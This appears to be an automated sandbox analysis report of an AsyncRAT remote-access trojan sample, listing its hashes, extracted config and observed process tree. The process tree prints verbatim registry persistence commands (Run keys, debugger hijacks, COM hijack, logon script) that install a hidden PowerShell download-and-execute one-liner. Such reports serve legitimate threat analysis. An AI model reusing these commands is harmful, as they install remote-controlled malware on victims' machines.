Analysis

  • max time kernel
    58s
  • max time network
    61s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/10/2026, 19:37

General

  • Target
    c0f12ef1a18bd6eed26df176364a8a427d6fecbc65bee0270120df82ffe7aac5.exe
  • Size 66KB
  • Sample261001-yb993axy2j
  • SHA256 c0f12ef1a18bd6eed26df176364a8a427d6fecbc65bee0270120df82ffe7aac5
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://tsntxe2.buzz/load.ps1

Extracted

Family
  • asyncrat

Version
  • 0.5.8

Botnet
  • Default

Mutex
  • AIYQYKdJljIh

Attributes
aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

Processes

  • C:\Users\Admin\AppData\Local\Temp\c0f12ef1a18bd6eed26df176364a8a427d6fecbc65bee0270120df82ffe7aac5.exe
    "C:\Users\Admin\AppData\Local\Temp\c0f12ef1a18bd6eed26df176364a8a427d6fecbc65bee0270120df82ffe7aac5.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:5636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      PID:1260
      • C:\Windows\SysWOW64\reg.exe
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinUpdateSvc" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
        3⤵
          PID:4104
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
        2⤵
        • Executes a command shell one-liner
        PID:4864
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinUpdateOnce" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
          3⤵
            PID:5944
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
          2⤵
          • Executes a command shell one-liner
          PID:4724
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
            3⤵
              PID:6128
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
            2⤵
            • Executes a command shell one-liner
            PID:1968
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
              3⤵
                PID:2148
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
              2⤵
              • Executes a command shell one-liner
              PID:2692
              • C:\Windows\SysWOW64\reg.exe
                reg add "HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" /ve /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
                3⤵
                  PID:1616
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
                2⤵
                • Executes a command shell one-liner
                PID:4480
                • C:\Windows\SysWOW64\reg.exe
                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')\"" /f
                  3⤵
                    PID:932
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k GPSvcGroup
                1⤵
                  PID:2016
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://tsntxe2.buzz/load.ps1')"
                  1⤵
                  • Command and Scripting Interpreter: PowerShell
                  PID:4524

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      memory/4524-7-0x000002165FD60000-0x000002165FD82000-memory.dmp

                      memory/5636-0-0x0000000075182000-0x0000000075183000-memory.dmp

                      memory/5636-1-0x0000000000FA0000-0x0000000000FB6000-memory.dmp

                      memory/5636-2-0x0000000075170000-0x000000007592C000-memory.dmp

                      memory/5636-3-0x0000000075182000-0x0000000075183000-memory.dmp

                      memory/5636-4-0x0000000075170000-0x000000007592C000-memory.dmp